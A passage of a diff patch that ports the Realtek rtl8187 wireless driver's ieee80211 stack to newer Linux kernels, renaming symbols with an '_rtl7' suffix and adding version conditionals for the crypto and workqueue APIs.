KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211.h 2010-05-19 22:18:51.949360395 -0700 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_module.c 2010-05-19 22:22:09.069343493 -0700 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -112,18 +117,22 @@ IEEE80211_ERROR("Unable to network device.\n"); goto failed; } + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; +#else + ieee = (struct ieee80211_device *)dev->priv; +#endif ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +147,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +158,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +176,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +184,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +200,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +219,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +252,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +277,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +291,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_rx.c 2010-05-19 22:21:30.641869318 -0700 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi 